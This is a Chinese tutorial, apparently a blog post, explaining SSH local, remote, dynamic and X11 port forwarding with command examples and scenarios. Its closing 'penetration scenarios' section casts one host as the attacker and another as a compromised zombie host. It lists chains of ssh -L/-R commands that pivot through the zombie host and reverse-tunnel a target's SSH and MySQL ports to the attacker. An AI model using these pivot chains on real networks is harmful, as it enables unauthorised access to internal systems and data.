8、SSH埠轉發情景模擬
SSH會自動加密和解密所有SSH客戶端與服務端之間的網路資料。這一過程有時也被叫做“隧道”(tunneling),這是因為SSH為其他TCP連結提供了一個安全的通道來進行傳輸而得名。例如,Telnet,SMTP,LDAP這些TCP應用均能夠從中得益,避免了使用者名稱,密碼以及隱私資訊的明文傳輸。而與此同時,如果您工作環境中的防火牆限制了一些網路埠的使用,但是允許SSH的連線,那麼也能夠通過將 TCP 埠轉發來使用 SSH 進行通訊。
(一)概述
SSH埠轉發能夠將其他TCP埠的網路資料通過SSH連結來轉發,並且自動提供了相應的加密及解密服務。
(二)功能
1、加密SSH Client端至SSH Server端之間的通訊資料。
2、突破防火牆的限制完成一些之前無法建立的TCP連線。
(三) 方式
共有四種方式,分別為本地轉發,遠端轉發,動態轉發,X協議轉發
(I)本地埠轉發
SSH連線和應用的連線這兩個連線的方向一致
ssh -L [<localhost>:]<local port>:<remote host>:<remote port> <SSHhostname>,Localhost引數可省略,預設為0:0:0:0,但為了安全性考慮務必使用127.0.0.1作為本地監聽埠。
將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠;本地埠轉發是在localhost上監聽一個埠,所有訪問這個埠的資料都會通過ssh 隧道傳輸到遠端的對應埠。
如下:
localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機埠監聽狀態:
登陸後本地主機埠監聽狀態:
登陸後遠端主機不會監聽埠。
小結:本地埠轉發的時候,本地的ssh在監聽7001埠。
(Ⅱ)遠端埠轉發
SSH連線和應用的連線這兩個連線的方向相反
ssh -R [<localhost>:]<local port>:<remote host>:<remote port> <SSHhostname>,Localhost引數可省略,預設為0:0:0:0,為了安全性務必使用127.0.0.1作為本地監聽埠。
將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠;遠端埠轉發是在遠端主機上監聽一個埠,所有訪問遠端伺服器的指定埠的資料都會通過ssh 隧道傳輸到本地的對應埠。
如下:
localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機埠監聽狀態:
登陸後本地主機埠監聽狀態:
登陸後遠端主機埠監聽狀態:
小結:使用遠端埠轉發時,本地主機的埠監聽並沒有發生變化,相反遠端主機卻開始監聽我們指定的7001埠。
(Ⅲ)動態埠轉發
把遠端ssh伺服器當作了一個安全的代理伺服器
ssh -D [<localhost>:]<local port> <SSH hostname>,Localhost引數可省略,預設為0:0:0:0,為了安全性務必使用127.0.0.1作為本地監聽埠。
建立一個動態的SOCKS4/5的代理通道,緊接著的是本地監聽的埠號;動態埠轉發是建立一個ssh加密的SOCKS4/5代理通道,任何支援SOCKS4/5協議的程式都可以使用這個加密的通道來進行代理訪問,現在這種方法最常用的地方就是翻牆。
如下:
localhost: ssh -D 7070 sisca@216.194.70.6
登陸前本地主機埠監聽狀態:
登陸後本地主機埠監聽狀態:
小結:使用動態埠轉發時,本地主機的ssh程式在監聽指定的7070埠。
(Ⅳ)X協議轉發
把遠端ssh伺服器當作了一個安全的代理伺服器。
ssh -X <SSH hostname>
如,我們可能會經常會遠端登入到 Linux/Unix/Solaris/HP等機器上去做一些開發或者維護,也經常需要以GUI方式執行一些程式,比如要求圖形化介面來安裝 DB2/WebSphere 等等。這時候通常有兩種選擇來實現:VNC或者X視窗,讓我們來看看後者。一個比較常見的場景是,我們的本地機器是Windows作業系統,這時可以選擇開源的XMing來作為我們的XServer,而SSH Client則可以任意選擇了,例如PuTTY,Cygwin均可以配置訪問SSH的同時建立X轉發。
SSH埠轉發除上述四個代表不同工作方式的引數外還有一些附屬引數:
-C:壓縮資料傳輸
-N:不執行指令碼或命令,通常與-f連用
-f:後臺認證使用者/密碼,通常與-N連用,不用登陸到遠端主機,如果通過其他程式控制隧道連線,應當避免將SSH客戶端放到後臺執行,也就是去掉-f引數。
-g:在-L/-D/-R引數中,允許遠端主機連線到建立的轉發埠,如果不加這個引數,只允許本地主機建立連線。
(四)場景模擬
場景一:將本機的80埠轉發到174.139.9.66的8080埠
ssh -C –f –g –N –L 80:174.139.9.66:8080master@174.139.9.66
接著會提示輸入master的密碼,或使用-pw引數完成
場景二:一次同時對映多個埠
Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L 25:mail.host.com:25 user@host,同時把伺服器(www.host.com)的80,110,25埠對映到本機的8888,110和25埠
場景三:A內網主機能放問公網的123.123.123.123的22埠,但是不能訪問公網234.234.234.234的21埠,但是這兩臺公網主機能互訪。
A主機:ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然後A主機:ftp://localhost:2121
前提是獲取123.123.123.123的22埠賬號口令(普通和root口令均可以,區別是轉發的埠問題)
場景四:A內網主機能放問公網的123.123.123.123的22埠,但是公網B主機123.123.123.123不能訪問內網的A主機。
A主機:ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主機:ssh 127.0.0.1 –p 2222
前提是B主機開放22埠,賬號口令(自建ssh伺服器,或用肉雞),灰鴿子木馬用的也是反向連結,Destination (LAN_ip) <- |NAT| <- Source (home_ip)
場景五:A內網主機只能訪問公網的123.123.123.123,但是A如果想訪問公網的很多資源。
A主機:ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主機瀏覽器socks 5 proxy設定為localhost:8888,所有之前無法訪問的網站現在都可以訪問。
場景六:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機B(123.123.123.123),開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問A上的各種服務。
B主機:sshd服務端做點小小的設定:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然後重啟sshd服務:/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g引數
A主機:ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123
公網其它主機:ftp://123.123.123.123:21
場景七:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機 B(123.123.123.123) 開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問 A 上的各種服務。
A主機:ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123
B主機:socattcp-listen:80,reuseaddr,fork tcp:localhost:1234
公網其它主機:http://123.123.123.123:80,此時就是訪問內網主機的80埠
場景八:PuTTY自帶的plink.exe實現ssh代理
PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]
ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314
(五) 滲透情景模擬
A為攻擊主機,開啟的ssh服務
B為web/應用/資料庫伺服器,開啟22/80/3306埠
D為肉雞,開啟22埠
情景一:
方法一:socks5代理
A: ssh –D 8080 root@B_IP –pw root
方法二:本地埠轉發(B的3306埠)
A:ssh –L 3306:B_IP:3306 –pw root root@B_IP
方法三:遠端埠轉發
B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景二:
法一:socks5代理
A:ssh -D 8080 root@A_IP –pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
法二:遠端埠轉發(將3306埠轉發)
B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景三:
法一:socks5代理
A:ssh -D 8080 root@A_IP -pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
法二:遠端埠轉發(將3306埠轉發)
B:ssh -R 3306:C_IP:3306 -pw root root@A_IP
法三:
B:ssh –L 1234:C_IP:3306 –pw root root@C_IP
B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP
情景四:
22埠轉發
A: ssh –L 2222:B_IP:22 –pw root root@D_IP
3306埠轉發
D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
A: ssh -L 3306:D_IP:3306–pw root root@D_IP
二、
22埠轉發
B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
A:ssh –L 2222:D_IP:2222 –pw root root@D_IP
3306埠轉發
B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
A: ssh -L 3306:D_IP:3306–pw root root@D_IP
三、
22埠轉發
B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306埠轉發
B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
四、
22埠轉發
D: ssh –L 2222:B_IP:22 –pw root root@B_IP
D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306埠轉發
D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
情景五:
一、
將C的3306埠轉發出來
D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
二、
將C的3306埠轉發出來
B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
三、
將C的3306埠轉發出來
B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
四、
將C的3306埠轉發出來
D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
通過將TCP連線轉發到SSH通道上以解決資料加密以及突破防火牆的種種限制。對一些已知埠號的應用,例如Telnet/LDAP/SMTP,我們可以使用本地埠轉發或者遠端埠轉發來達到目的。動態埠轉發則可以實現SOCKS代理從而加密以及突破防火牆對Web瀏覽的限制。當然,埠轉發還有很多好用的工具供大家選擇。本文參考了網上之前的文章,並加入了自己的理解,感興趣的話可以搞個環境實驗下,如有問題,希望各位批評指正。
參考:
實戰SSH埠轉發
SSH的埠轉發
相關文章
- ssh埠轉發(ssh隧道)
- 玩轉SSH埠轉發
- 1、實戰SSH埠轉發
- 在 Fedora 上使用 SSH 埠轉發
- 劫持SSH會話注入埠轉發會話
- 設定 SSH 隧道(埠轉發)實戰
- CentOS8修改SSH埠CentOS
- 什麼是SSH埠轉發(本地轉發、遠端轉發、動態轉發)?
- SSH遠端埠轉發實戰詳解
- ssh遠端埠轉發無法監聽0.0.0.0
- SSH 埠轉發 - 你不讓我看,我也能看
- SSH原理常見應用升級及埠轉發
- SSH Tunnel (埠轉發) -- 把個人PC變成“幕後boss”
- SSH修改埠
- SecureCRT 9.3.2 終端模擬SSH工具Securecrt
- 串列埠資料抓取及串列埠通訊模擬串列埠
- 好用的終端SSH模擬工具:SecureCRT for macSecurecrtMac
- 24/8/12 模擬賽
- [ssh訪問內網伺服器]使用Natapp來進行內網埠轉發內網伺服器APP
- SecureCRT for Mac(終端模擬器/SSH客戶端)SecurecrtMac客戶端
- Terminus 1.0.121 (支援SSH的mac終端模擬器)Mac
- Centos7 修改SSH 埠CentOS
- iptables 配置埠及轉發
- Linux-Windows 埠轉發LinuxWindows
- Win10 埠轉發Win10
- [賽記] csp-s模擬8 && csp-s模擬9
- 利用nginx的stream模組實現內網埠的轉發代理Nginx內網
- 通過USB埠 SSH 到手機
- Linux系統修改ssh埠教程。Linux
- 內網中的埠轉發內網
- 內網埠轉發小技巧內網
- Security8:許可權模擬
- vbox 網路地址轉換(NAT) 埠轉發
- WebRTC本地插入多個轉發節點,模擬多節點轉發,造成延遲Web
- 【Mac】Termius for mac(終端模擬器/SSH/SFTP客戶端)MacFTP客戶端
- PAT-B 1069 微博轉發抽獎【模擬+集合】
- 弱網環境模擬工具(轉)
- 7、Linux 埠轉發特徵總結Linux特徵